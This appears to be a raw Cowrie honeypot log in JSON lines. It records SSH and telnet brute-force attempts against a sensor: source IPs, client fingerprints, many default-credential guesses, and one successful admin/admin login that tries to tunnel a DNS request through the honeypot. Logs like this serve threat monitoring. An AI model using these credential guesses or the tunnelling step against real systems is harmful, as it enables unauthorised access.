{"eventid":"cowrie.login.failed","username":"root","password":"Yb123456","message":"login attempt [root/Yb123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:43.278392Z","src_ip":"154.83.13.181","session":"2e1a19c4258f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:43.941582Z","src_ip":"79.132.141.112","session":"b466b7bc4b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:44.482852Z","src_ip":"154.83.13.181","session":"2e1a19c4258f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.218.118.203","src_port":54790,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5873dc5634c","protocol":"telnet","message":"New connection: 18.218.118.203:54790 (10.17.0.5:23) [session: d5873dc5634c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:45.134378Z"}
{"eventid":"cowrie.session.closed","duration":45.11155867576599,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:49.181953Z","src_ip":"152.42.224.71","session":"7cca4e8b708a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":58462,"dst_ip":"10.17.0.5","dst_port":22,"session":"e072871df9b3","protocol":"ssh","message":"New connection: 197.248.104.31:58462 (10.17.0.5:22) [session: e072871df9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:49.409310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:49.414602Z","src_ip":"197.248.104.31","session":"e072871df9b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:49.624791Z","src_ip":"197.248.104.31","session":"e072871df9b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55114,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b30807e9231","protocol":"telnet","message":"New connection: 152.42.224.71:55114 (10.17.0.5:23) [session: 7b30807e9231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:49.690476Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ts3bot","message":"login attempt [root/ts3bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:50.500304Z","src_ip":"197.248.104.31","session":"e072871df9b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:51.714399Z","src_ip":"197.248.104.31","session":"e072871df9b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":60220,"dst_ip":"10.17.0.5","dst_port":22,"session":"daf5e0d5298c","protocol":"ssh","message":"New connection: 43.153.69.201:60220 (10.17.0.5:22) [session: daf5e0d5298c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:53.579170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:53.583958Z","src_ip":"43.153.69.201","session":"daf5e0d5298c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:53.652073Z","src_ip":"43.153.69.201","session":"daf5e0d5298c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"antoine","message":"login attempt [root/antoine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:53.955682Z","src_ip":"43.153.69.201","session":"daf5e0d5298c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:55.029384Z","src_ip":"43.153.69.201","session":"daf5e0d5298c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.023233652114868,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:55.157485Z","src_ip":"18.218.118.203","session":"d5873dc5634c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":53730,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fb09888df45","protocol":"ssh","message":"New connection: 170.106.119.118:53730 (10.17.0.5:22) [session: 9fb09888df45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:57.630405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:57.636406Z","src_ip":"170.106.119.118","session":"9fb09888df45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:57.709934Z","src_ip":"170.106.119.118","session":"9fb09888df45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vmware123","message":"login attempt [root/vmware123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:58.020778Z","src_ip":"170.106.119.118","session":"9fb09888df45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:03:59.093911Z","src_ip":"170.106.119.118","session":"9fb09888df45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":44664,"dst_ip":"159.203.135.109","dst_port":22,"session":"d512ebf686fe","protocol":"ssh","message":"New connection: 43.159.169.93:44664 (159.203.135.109:22) [session: d512ebf686fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:04.220088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:04.230052Z","src_ip":"43.159.169.93","session":"d512ebf686fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:04.299621Z","src_ip":"43.159.169.93","session":"d512ebf686fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev1","password":"dev1","message":"login attempt [dev1/dev1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:04.607729Z","src_ip":"43.159.169.93","session":"d512ebf686fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":47584,"dst_ip":"159.203.135.109","dst_port":22,"session":"0482767ed913","protocol":"ssh","message":"New connection: 43.128.111.187:47584 (159.203.135.109:22) [session: 0482767ed913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:04.747100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:04.752312Z","src_ip":"43.128.111.187","session":"0482767ed913","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:04.982899Z","src_ip":"43.128.111.187","session":"0482767ed913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:05.679323Z","src_ip":"43.159.169.93","session":"d512ebf686fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"letmein","message":"login attempt [ubuntu/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:05.933659Z","src_ip":"43.128.111.187","session":"0482767ed913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:07.168837Z","src_ip":"43.128.111.187","session":"0482767ed913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44138,"dst_ip":"10.17.0.5","dst_port":23,"session":"0632412392a3","protocol":"telnet","message":"New connection: 152.42.224.71:44138 (10.17.0.5:23) [session: 0632412392a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:08.581396Z"}
{"eventid":"cowrie.session.closed","duration":33.50825333595276,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:13.789918Z","src_ip":"152.42.224.71","session":"94732e882c33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":50246,"dst_ip":"10.17.0.5","dst_port":22,"session":"a698c11e6939","protocol":"ssh","message":"New connection: 58.186.20.143:50246 (10.17.0.5:22) [session: a698c11e6939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:14.150158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:14.155627Z","src_ip":"58.186.20.143","session":"a698c11e6939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:14.412586Z","src_ip":"58.186.20.143","session":"a698c11e6939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa332211","message":"login attempt [root/aa332211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:15.465307Z","src_ip":"58.186.20.143","session":"a698c11e6939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":46146,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcea85dcfde4","protocol":"ssh","message":"New connection: 87.251.64.176:46146 (10.17.0.5:22) [session: fcea85dcfde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:15.631039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:15.636021Z","src_ip":"87.251.64.176","session":"fcea85dcfde4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:15.741425Z","src_ip":"87.251.64.176","session":"fcea85dcfde4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:16.033783Z","src_ip":"87.251.64.176","session":"fcea85dcfde4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:16.134320Z","session":"fcea85dcfde4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:16.234807Z","src_ip":"87.251.64.176","session":"fcea85dcfde4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:16.334308Z","src_ip":"87.251.64.176","session":"fcea85dcfde4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:16.725495Z","src_ip":"58.186.20.143","session":"a698c11e6939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":53496,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2dabe5be1c7","protocol":"ssh","message":"New connection: 59.17.95.129:53496 (159.203.135.109:22) [session: d2dabe5be1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:17.209252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:04:17.214462Z","src_ip":"59.17.95.129","session":"d2dabe5be1c7","protocol":"ssh"}
